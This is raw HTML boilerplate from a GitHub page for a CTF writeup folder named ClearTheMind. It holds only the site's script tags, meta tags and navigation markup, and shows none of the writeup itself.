data-src="https://github.githubassets.com/assets/chunk-filter-input-18a88d81.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HRWFwpj3BLrXflQCvPbnuXPFjpnti5TtcqJqUx/b6klMyuskNlUBIo+1UT0KVHFdEW/Y9QKjmXlZxhP6z1j5pg==" type="application/javascript" data-module-id="./chunk-edit.js" data-src="https://github.githubassets.com/assets/chunk-edit-1d1585c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GhqHDMwaAgqUsjVyltYVhaaLYy2G887rPRXXNbsdaI+Xm3dh0fbaHLhZns70EjFAEpXBgCAYFYdnlG1IQFmz1A==" type="application/javascript" data-module-id="./chunk-responsive-underlinenav.js" data-src="https://github.githubassets.com/assets/chunk-responsive-underlinenav-1a1a870c.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-gmw7obKL/JEHWPp6zWFh+ynbXUFOidj1DN2aPiTDwP8Gair0moVuDmA340LD84A29I3ZPak19CEiumG+oIiseg==" type="application/javascript" data-module-id="./chunk-tag-input.js" data-src="https://github.githubassets.com/assets/chunk-tag-input-826c3ba1.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ao9llFIlj54ApuKf2QLboXukbu2h7MHfMmtYHrrsVe1lprKNLiA0usVcRpvruKhfT5STDuWm/GGmyx8ox27hWQ==" type="application/javascript" data-module-id="./chunk-notification-list-focus.js" data-src="https://github.githubassets.com/assets/chunk-notification-list-focus-028f6594.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SPWd3rzrxmU6xW6vy1JPWCd+3uWFWmnd0MVGpmw/TpHWUAdLWDqL8kWyC/sBIZJmda4mTtUO1DHJQzAXRSrC+g==" type="application/javascript" data-module-id="./chunk-cookies.js" data-src="https://github.githubassets.com/assets/chunk-cookies-48f59dde.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MK53GXbb2BPV+ADlEbJbkrvg34WPcAd5RC2nBJhUH1tR/Mjr9xrsf56ptBajfWcIWKRKbqqRtLktgr0wAbB3zw==" type="application/javascript" data-module-id="./chunk-async-export.js" data-src="https://github.githubassets.com/assets/chunk-async-export-30ae7719.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-tw9SApiMkftVBYeb6/VGhEwGNw8tlyBhXc9RVXH4UbCD6u+48uuCMvXf3bxvBdOld0OoYg83SnD2mgJWhdaTiQ==" type="application/javascript" data-module-id="./chunk-premium-runners.js" data-src="https://github.githubassets.com/assets/chunk-premium-runners-b70f5202.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D576CjzS9sbDqFBJdq0Y6+KVMHXkO6mLFO/GRL1NtoE8jgXjAvmdjoZ4nNMWyDwqbtBHspvupORzE9L+YoBLYQ==" type="application/javascript" data-module-id="./chunk-get-repo-element.js" data-src="https://github.githubassets.com/assets/chunk-get-repo-element-0f9efa0a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xhSAO0KtnFAlRqAK+mg8BPj/J334ccvnCmmjmBQBCgZcsoO9teHJSS6oAn3XOWYFsWPU2JehwG7S3OVEbLwdUg==" type="application/javascript" data-module-id="./chunk-color-modes.js" data-src="https://github.githubassets.com/assets/chunk-color-modes-c614803b.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-jitxouuFY6SUcDZV5W3jhadVEIfFBfCQZxfPV3kxNnsWEBzbxMJFp0ccLb7+OlBjSs1zU/MNtuOV6T9Ay7lx4w==" type="application/javascript" data-module-id="./chunk-copy.js" data-src="https://github.githubassets.com/assets/chunk-copy-8e2b71a2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Auj2atZZccqguPinFmOL2k1TCzZs/yfMMFF5aMYMB/5miqEN7v4oAFG0o3Np24NOTkJ9o/txZCeuT6NGHgGoUA==" type="application/javascript" data-module-id="./chunk-voting.js" data-src="https://github.githubassets.com/assets/chunk-voting-02e8f66a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HDsLJf6gAN+WDFaJneJwmIY82XkZKWqeX7tStBLRh1XM53K8vMV6JZvjq/UQXszaNVWxWcuYtgYTG6ZWo8+QSw==" type="application/javascript" data-module-id="./chunk-confetti.js" data-src="https://github.githubassets.com/assets/chunk-confetti-1c3b0b25.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-zEirtMGIgj3NVAnB8kWhDykK5NLa7q4ugkIxB7EftbovRjhU3X5I/20Rploa4KGPwAR27e36rAljHIsDKbTm/Q==" type="application/javascript" data-module-id="./chunk-codemirror.js" data-src="https://github.githubassets.com/assets/chunk-codemirror-cc48abb4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Gr3ZcJt5t73JeBM3NwOEziKyDZ3HpHwzqZL/c1pgTUfo+6QC5f88XXRw/RT6X2diwqvaa3OVFh0oWsZ9ZxhtdQ==" type="application/javascript" data-module-id="./chunk-tip.js" data-src="https://github.githubassets.com/assets/chunk-tip-1abdd970.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EdQvlnI4Pu5Q6K0HCvp+mi0Vw9ZuwaEuhbnCbmFKX+c0xwiUWY0L3n9P0F6doLhaHhfpvW3718+miL11WG4BeA==" type="application/javascript" data-module-id="./chunk-line.js" data-src="https://github.githubassets.com/assets/chunk-line-11d42f96.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4zSHP2sQXPKoN9jFy8q2ThHsQNej8s4qhubSR4g0/2dTexAEnoTG+RbaffdIhmjfghGjpS/DlE0cdSTFEOcipQ==" type="application/javascript" data-module-id="./chunk-array.js" data-src="https://github.githubassets.com/assets/chunk-array-e334873f.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-g8fb6U7h9SkWgiK69nfNMn4aN5D2YBYPZUbCIuLpemWoOw8NOaZY8Z0hPq4RUVs4+bYdCFR6K719k8lwFeUijg==" type="application/javascript" data-module-id="./chunk-band.js" data-src="https://github.githubassets.com/assets/chunk-band-83c7dbe9.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6oWCu7ltWLHlroIRg8mR6RloC1wqKS9aK9e5THWgzaE2GNPAdoC+MLZEYD/TdIiZxsQRev0RInyonsXGBK0aMw==" type="application/javascript" data-module-id="./chunk-toast.js" data-src="https://github.githubassets.com/assets/chunk-toast-ea8582bb.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-miaiZ1xkDsWBUsURHOmeYtbgVKQGnm1octCo/lDXUmPzDyjtubnHULRVw1AK+sttwdwyB0+LOyhIVAWCNSGx+A==" type="application/javascript" data-module-id="./chunk-delayed-loading-element.js" data-src="https://github.githubassets.com/assets/chunk-delayed-loading-element-9a26a267.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GD25CNhMGDMzEmeFhUT0FILBupAkx5/CHohnYXOP1togy40O0iu/lASaSp3gV8ue0nwscalJVQqR5gKDRHHDVg==" type="application/javascript" data-module-id="./chunk-three.module.js" data-src="https://github.githubassets.com/assets/chunk-three.module-183db908.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4vVRplWFI7P4m3RHQ0QAhkq6eZUdtIE8PBhsKYJRwDkhQw9iK/U1st1/fM1tQZFuBFwGMyqaZblbWtQ+2ejcqQ==" type="application/javascript" data-module-id="./chunk-slug.js" data-src="https://github.githubassets.com/assets/chunk-slug-e2f551a6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ofk7ddnMsJ6F9d2vCuPQav+FG9Rg8i6WRG2KmbzwT01S9H4y58Fl42zYxDh/lJjOWeSyOB9KJyfIkdpCCTYG9A==" type="application/javascript" data-module-id="./chunk-invitations.js" data-src="https://github.githubassets.com/assets/chunk-invitations-39f93b75.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-vFR+IqThljOLrAWmjhOL/kiQrjgZZg95uPovX0J7kRH5p7Y049LDRZaXLMDijfeqqk71d3MMn9XP5bUcH+lB9w==" type="application/javascript" data-module-id="./chunk-profile.js" data-src="https://github.githubassets.com/assets/chunk-profile-bc547e22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-FeRujRzXPfs03roBR3mnHvWukfFpu27XbyZPQri9jcCY0AdUWSM5R4drHTJUDQ62Pz/aX0rSS5xORvTu7NsjlQ==" type="application/javascript" data-module-id="./chunk-overview.js" data-src="https://github.githubassets.com/assets/chunk-overview-15e46e8d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xqw233932eUGcGURAPuwUWZpC5Km/9Btq7/2Jnkt1rSWnPSVfMl+JKpr9eLtCoQmrpgP8vaghEuX8bWAS8fzTg==" type="application/javascript" data-module-id="./chunk-advanced.js" data-src="https://github.githubassets.com/assets/chunk-advanced-c6ac36df.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6Rmd0BBAsJ9ouvb/pgrkToMPs5ogcqi8rcQ7R3GDPPHIjlu0NZ0Bx6HUn/aOruMCECETHm4Exfs5gjYdHs66RQ==" type="application/javascript" data-module-id="./chunk-runner-groups.js" data-src="https://github.githubassets.com/assets/chunk-runner-groups-e9199dd0.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xdGx4qSd2qa0c/AVc4wDqpBhFHasDjOZ5y+MbwuIRA+ar7YxAFhZ2pGFs/+W5hVjSv+BMfKrcWpgLwR3xPIWHA==" type="application/javascript" data-module-id="./chunk-profile-pins-element.js" data-src="https://github.githubassets.com/assets/chunk-profile-pins-element-c5d1b1e2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-LrD2kFGlUY4JxKVeN3dgYfuhfq0akTPGHtqW0gxkM2sDqVY6pauK2k57tmMHw4TQdcUrs+RQnBc1HPD+ou+ZfQ==" type="application/javascript" data-module-id="./chunk-emoji-picker-element.js" data-src="https://github.githubassets.com/assets/chunk-emoji-picker-element-2eb0f690.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EvJ2Fip59DXgARNuwTWgjdVqoCjhXQL73SP9yexijlWStKq92sfbKeGK5R4wIP0QOr39WsnW/Kaw3Wpl1QPfog==" type="application/javascript" data-module-id="./chunk-edit-hook-secret-element.js" data-src="https://github.githubassets.com/assets/chunk-edit-hook-secret-element-12f27616.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-W0EihGBOA1mE3orR7s2squ9xVaLXrwd2bOYY9SSslfZHrovrS6KenJU+XXn+CaykddON6/aFEd/FbuQ/FltI9Q==" type="application/javascript" data-module-id="./chunk-insights-query.js" data-src="https://github.githubassets.com/assets/chunk-insights-query-5b412284.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D/5Ad6jlKQNRPSHbVN5ShlFXOTyRsKbT7O0cWbVHwtOZ/UrwOC5bHKaQFHTq46qeMBbFKyDG+oIdtm5G8NifDA==" type="application/javascript" data-module-id="./chunk-remote-clipboard-copy.js" data-src="https://github.githubassets.com/assets/chunk-remote-clipboard-copy-0ffe4077.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SUjF5sI77QngAIQUwKJRgZuIM4qggFBMtOZJ3EFS7ecv4uq4BQQJivDVxNBG9api9/rWrpw0d6RzvTCz2GrbdA==" type="application/javascript" data-module-id="./chunk-series-table.js" data-src="https://github.githubassets.com/assets/chunk-series-table-4948c5e6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-nrfktuuo7BZhPpJxM4fVi62vPbZu6VJZ7ykfarxBExTTDnchXEalCJOq2O3GrVdfWu9cdn9kR/J8+oeTAjdHlA==" type="application/javascript" data-module-id="./chunk-line-chart.js" data-src="https://github.githubassets.com/assets/chunk-line-chart-9eb7e4b6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-IOMGagwchKC7UeWHK/bV/rO1F1/RZAH0fNNouWV2boLOtE1a9LUbesoRsYK7sz6aFXslPC8fLfow+yWpT1eZzQ==" type="application/javascript" data-module-id="./chunk-stacked-area-chart.js" data-src="https://github.githubassets.com/assets/chunk-stacked-area-chart-20e3066a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GohDpVrxfHqlavb8Zabvj+y/s6CHegYwyGpQxKtzR2MkQsynBC98LdLongRFMHI+TKAECLavp200Lsy9JbV5TQ==" type="application/javascript" data-module-id="./chunk-presence-avatars.js" data-src="https://github.githubassets.com/assets/chunk-presence-avatars-1a8843a5.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-TpHTIXhA/2bI21CVmFL1oS3dv+8zveJVZLOVVAZwXNAAI94Hy70L9vT3Q1Vvkyu4Z2gi2iFdy1a53pfYlEDgnQ==" type="application/javascript" data-module-id="./chunk-pulse-authors-graph-element.js" data-src="https://github.githubassets.com/assets/chunk-pulse-authors-graph-element-4e91d321.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-aNAcFMlIdG1ocY5LnZylnN/6KXiJxyPvKg7y1Jnai732wdnrjXazcvNiQkRnj5FY8WP6JRa3K4doCReA4nhj7w==" type="application/javascript" data-module-id="./chunk-stacks-input-config-view.js" data-src="https://github.githubassets.com/assets/chunk-stacks-input-config-view-68d01c14.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MXXdKvrDUhz9jfXB1/McrPebK8VbV5haYcxcNt5WXgbUym55dZattmCIAK2pJFAD2h4aBUFHo7CzpjmDYf7EkQ==" type="application/javascript" data-module-id="./chunk-community-contributions.js" data-src="https://github.githubassets.com/assets/chunk-community-contributions-3175dd2a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-eWDdPSTt/NMNFFSNdUSOf36O6AJJepQdiKFtVzHjM5WYpUTAg21zPoyeA4DqfPNL5RggK/+RjWQZzypmNBAH4w==" type="application/javascript" data-module-id="./chunk-discussion-page-views.js" data-src="https://github.githubassets.com/assets/chunk-discussion-page-views-7960dd3d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-5+v3VN/rhJv/1iAOVphuCGs1FM9eUlSB43CJLw1txGMLvuPNNz/xHQbzTOIW+t2NKFpTnptRvKbuicQ3Jp28UQ==" type="application/javascript" data-module-id="./chunk-discussions-daily-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-daily-contributors-e7ebf754.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-/PSS3erY5t+SZL9B5T6Edgzy2pLD3jx7G/ZqQE+UCPhaaMEEc8Qrhv5XTREOOX0e3DquvxVDDM/KVa6SK/BPcA==" type="application/javascript" data-module-id="./chunk-discussions-new-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-new-contributors-fcf492dd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-7vazCSTbHAmhDkKepqPuoJu5ZlBV51uKBKdUTiKd5UylsfULxuXr6XtFSZ16eU4TzdMAifa2hR4riO/QRi/9gw==" type="application/javascript" data-module-id="./chunk-tweetsodium.js" data-src="https://github.githubassets.com/assets/chunk-tweetsodium-eef6b309.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-AVKfqEKBF/JCvS2PoakItu304k6gGt9oSMBW2R/eEfGsGuTmC9QeiQw//IJJKFRQdrzpha/FoC/cws9v6dsujQ==" type="application/javascript" data-module-id="./chunk-jump-to.js" data-src="https://github.githubassets.com/assets/chunk-jump-to-01529fa8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-mQXS2AvjT52IlcDNeeAaWUnOLa3aaGISiApB7zeboZBSILzsVM1ikEJdM7VIaH+xwYYT/D6lqtIwjO1/KVbK2Q==" type="application/javascript" data-module-id="./chunk-user-status-submit.js" data-src="https://github.githubassets.com/assets/chunk-user-status-submit-9905d2d8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4xtjUJAtGhsZOLk+SHoir8MWF0vKHoR4tGlR36xsg1kGrE9ftN4BHe21k2TT5jSkqz5x8z7BfZKj/eUuwcZMEQ==" type="application/javascript" data-module-id="./chunk-launch-code-element.js" data-src="https://github.githubassets.com/assets/chunk-launch-code-element-e31b6350.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-NilVxyBbQNJ61v85EVcC3VjOsz5tz+bOlaR1h1R+jIFXNT8VhoalRgPXREht+R3JIZF5fiqkkHZy3+01pX4ZDg==" type="application/javascript" data-module-id="./chunk-metric-selection-element.js" data-src="https://github.githubassets.com/assets/chunk-metric-selection-element-362955c7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-VtwQp1HbSSWXOsB5a8wzpRH8Bl7/vD0jgBgXsp2K2CTYkhfq/LAWps52SnVQjcRPoB2svCVaJV20hyFuCbGL3w==" type="application/javascript" data-module-id="./chunk-severity-calculator-element.js" data-src="https://github.githubassets.com/assets/chunk-severity-calculator-element-56dc10a7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-yXHkwiNZgB6O0iSDKE8jrZzTtTyF8YdFFXHcemhWEPuN3sWs1PQrSwEh0Gw4/B9TIzUfvogbqlJ71yLLuqyM+Q==" type="application/javascript" data-module-id="./chunk-readme-toc-element.js" data-src="https://github.githubassets.com/assets/chunk-readme-toc-element-c971e4c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-QMvMhJF7+RJNuy+lp8zP+XbKf08Cc36NVOw6CMk0WRGAO1kmoNhTC+FjHB5EBFx/sDurFeYqerS3NGhusJncMA==" type="application/javascript" data-module-id="./chunk-feature-callout-element.js" data-src="https://github.githubassets.com/assets/chunk-feature-callout-element-40cbcc84.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SyYXfc8EbLO9BnTas69LeNMF6aXITT41QqsFoIuEHHt/0i9+WQAV7ZFBu944TFS7HHFu9eRgmdq1MU/W12Q8xw==" type="application/javascript" data-module-id="./chunk-sortable-behavior.js" data-src="https://github.githubassets.com/assets/chunk-sortable-behavior-4b26177d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6JUQHgkTqBaCCdDugMcO4fQ8YxUHk+m6rwVp2Wxa4FMVz6BbBMPOzGluT4wBq8NTUcFv6DnXSOnt5e85jNgpGg==" type="application/javascript" data-module-id="./chunk-drag-drop.js" data-src="https://github.githubassets.com/assets/chunk-drag-drop-e895101e.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-28pipPJZvizfcYYETJWBBeDHsrDEz7A06d7Y5swgY/OWmsX0ZJW6mkZVFRO7Z/xZh1D1qFbPHGNixfCd1YpBnA==" type="application/javascript" data-module-id="./chunk-contributions-spider-graph.js" data-src="https://github.githubassets.com/assets/chunk-contributions-spider-graph-dbca62a4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-y0yuiXfWuIeCCcUBT1jacp25vWnFCJWgwLM5G1VM4tmCHdoQbiVjvW/vuSuEXUjtS8WwdioTD5hVv9UULiUlww==" type="application/javascript" data-module-id="./chunk-webgl-warp.js" data-src="https://github.githubassets.com/assets/chunk-webgl-warp-cb4cae89.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-3R5+VhOHwJbG+s7VKlj1HjwVKo/RPldgUh98Yed4XMlk1jH7LP20vRYmLUqnvVaZcgx9x9XdWmQWKaBRQfsVvg==" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-dd1e7e56.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-tfzZxJCbul4TLTQmD9EJzuvXoLZGUCnWTiuJCGnXlaABfL2eD0I/J/IL9blT+JbF1dQvKi1g/E7396zAKdrZTA==" type="application/javascript" src="https://github.githubassets.com/assets/repositories-b5fcd9c4.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-CfJc9iAnfLJnxnvSY41oW/N+iuVSia2CCj/v47XVliM9ACQPKur94EPHnokX0RG8e+FPMhJ2CGy9FfqLYZi4Dg==" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-09f25cf6.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-Y9QCffkHDk3/KAoYUMhKeokbNlXWgpO+53XrccRwhUWzMTxEmhnp1ce7OVWP3vOzhCfWaxxnKWW9eVjjny8nRA==" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-63d4027d.js"></script>
<meta name="viewport" content="width=device-width"> <title>CTFwriteups/b01lerBootcampCTF/ClearTheMind at master · notAHacker007/CTFwriteups · GitHub</title> <meta name="description" content="Contribute to notAHacker007/CTFwriteups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/03329b9228297391ddacb5967ff08d8bcf7a6e53c138f5a5a3f12a37a6dc56e6/notAHacker007/CTFwriteups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTFwriteups/b01lerBootcampCTF/ClearTheMind at master · notAHacker007/CTFwriteups" /><meta name="twitter:description" content="Contribute to notAHacker007/CTFwriteups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/03329b9228297391ddacb5967ff08d8bcf7a6e53c138f5a5a3f12a37a6dc56e6/notAHacker007/CTFwriteups" /><meta property="og:image:alt" content="Contribute to notAHacker007/CTFwriteups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTFwriteups/b01lerBootcampCTF/ClearTheMind at master · notAHacker007/CTFwriteups" /><meta property="og:url" content="https://github.com/notAHacker007/CTFwriteups" /><meta property="og:description" content="Contribute to notAHacker007/CTFwriteups development by creating an account on GitHub." />
<link rel="assets" href="https://github.githubassets.com/">
<meta name="request-id" content="C404:E6C5:15D27F4:16DDBCB:61830826" data-pjax-transient="true"/><meta name="html-safe-nonce" content="789492e44db02f0dfa164f285563cca7bd3c321b682010cefa7ac9cad28f13af" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJDNDA0OkU2QzU6MTVEMjdGNDoxNkREQkNCOjYxODMwODI2IiwidmlzaXRvcl9pZCI6IjkwNDUyMzY2MDc3MzY4MDk1MTAiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="d9fb3837ec5f0d553d6128cac63798bb141642e18eddebd205cf7b33b11ca6fd" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:291562148" data-pjax-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code" data-pjax-transient="true" />
<meta name="selected-link" value="repo_source" data-pjax-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc">
<meta name="octolytics-url" content="https://collector.githubapp.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-pjax-transient="true" />
<meta name="hostname" content="github.com"> <meta name="user-login" content="">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="MARKETPLACE_PENDING_INSTALLATIONS,FILE_UPLOAD_CURSOR_POSITION">
<meta http-equiv="x-pjax-version" content="89408a5ac57f5b71ed7ebb466b241a52be13289bf52f5580353d1ab3681a2237"> <meta http-equiv="x-pjax-csp-version" content="9ea82e8060ac9d44365bfa193918b70ed58abd9413362ba412abb161b3a8d1b6"> <meta http-equiv="x-pjax-css-version" content="8c75751aad52ee8322f8435d51506c1b59a636003602b767a0b479bddfe5cb22"> <meta http-equiv="x-pjax-js-version" content="3cad26b543586e12a4ad3073df6bdffcfe52ab9dafecfd0ffc60594d519fb9b5">
<meta name="go-import" content="github.com/notAHacker007/CTFwriteups git https://github.com/notAHacker007/CTFwriteups.git">
<meta name="octolytics-dimension-user_id" content="68519647" /><meta name="octolytics-dimension-user_login" content="notAHacker007" /><meta name="octolytics-dimension-repository_id" content="291562148" /><meta name="octolytics-dimension-repository_nwo" content="notAHacker007/CTFwriteups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="291562148" /><meta name="octolytics-dimension-repository_network_root_nwo" content="notAHacker007/CTFwriteups" />
<link rel="canonical" href="https://github.com/notAHacker007/CTFwriteups/tree/master/b01lerBootcampCTF/ClearTheMind" data-pjax-transient>
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<header class="Header-old header-logged-out js-details-container Details position-relative f4 py-2" role="banner"> <div class="container-xl d-lg-flex flex-items-center p-responsive"> <div class="d-flex flex-justify-between flex-items-center"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github color-text-white"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg>
<div class="d-lg-none css-truncate css-truncate-target width-fit p-2">
</div>
<div class="d-flex flex-items-center"> Sign up
<button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link d-lg-none mt-1"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-three-bars color-text-white"> <path fill-rule="evenodd" d="M1 2.75A.75.75 0 011.75 2h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 2.75zm0 5A.75.75 0 011.75 7h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 7.75zM1.75 12a.75.75 0 100 1.5h12.5a.75.75 0 100-1.5H1.75z"></path></svg>
</button> </div> </div>
<div class="HeaderMenu HeaderMenu--logged-out position-fixed top-0 right-0 bottom-0 height-fit position-lg-relative d-lg-flex flex-justify-between flex-items-center flex-auto"> <div class="d-flex d-lg-none flex-justify-end border-bottom color-bg-subtle p-3"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-x color-icon-secondary"> <path fill-rule="evenodd" d="M5.72 5.72a.75.75 0 011.06 0L12 10.94l5.22-5.22a.75.75 0 111.06 1.06L13.06 12l5.22 5.22a.75.75 0 11-1.06 1.06L12 13.06l-5.22 5.22a.75.75 0 01-1.06-1.06L10.94 12 5.72 6.78a.75.75 0 010-1.06z"></path></svg>
</button> </div>
<nav class="mt-0 px-3 px-lg-0 mb-5 mb-lg-0" aria-label="Global"> <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Why GitHub? <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Features <span>→</span>
Mobile <span>→</span> Actions <span>→</span> Codespaces <span>→</span> Packages <span>→</span> Security <span>→</span> Code review <span>→</span> Issues <span>→</span> Integrations <span>→</span>
GitHub Sponsors <span>→</span> Customer stories<span>→</span> </div> </details> Team Enterprise
<details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Explore <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary>
<div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Explore GitHub <span>→</span>
